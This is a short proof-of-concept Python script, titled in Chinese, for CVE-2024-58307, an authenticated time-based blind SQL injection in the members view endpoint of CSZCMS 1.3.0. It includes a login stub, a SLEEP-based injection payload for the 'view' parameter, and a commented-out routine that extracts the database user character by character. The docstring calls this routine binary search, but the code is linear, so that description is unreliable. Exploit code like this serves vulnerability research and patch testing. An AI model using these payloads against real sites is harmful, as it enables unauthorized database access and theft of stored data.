CVE-2024-58307 CSZCMS 1.3.0 会员查看功能SQL注入漏洞

import requests import time import string # CVE-2024-58307 SQL Injection PoC for CSZCMS 1.3.0 # Authenticated time-based blind SQL injection via view parameter target_url = "http://target.com/cszcms/index.php/members/view" # Login first to obtain session cookie login_url = "http://target.com/cszcms/index.php/login" login_data = { "username": "attacker", "password": "password123" } session = requests.Session() # login_response = session.post(login_url, data=login_data) # cookies = login_response.cookies # SQL Injection payload example - time-based blind # This payload tests if SQL injection is possible by introducing a 5-second delay injection_payload = "1' AND (SELECT * FROM (SELECT SLEEP(5))a) AND '1'='1" params = { "view": injection_payload } # Send malicious request # response = session.get(target_url, params=params, cookies=cookies) # Data extraction example (pseudo-code) def extract_data_via_blind_sql(): """ Blind SQL injection data extraction logic Uses binary search to efficiently extract data character by character """ charset = string.ascii_lowercase + string.digits + "_@." extracted = "" # Example: Extract database user # for i in range(1, 50): # for char in charset: # payload = f"1' AND IF(SUBSTRING(USER(),{i},1)='{char}',SLEEP(2),0) AND '1'='1" # start = time.time() # # Make request and measure response time # if response_time > threshold: # extracted += char # break return extracted print("PoC for CVE-2024-58307 - CSZCMS SQL Injection") print("Target: CSZCMS 1.3.0") print("Vulnerability: Authenticated SQL Injection in members view endpoint")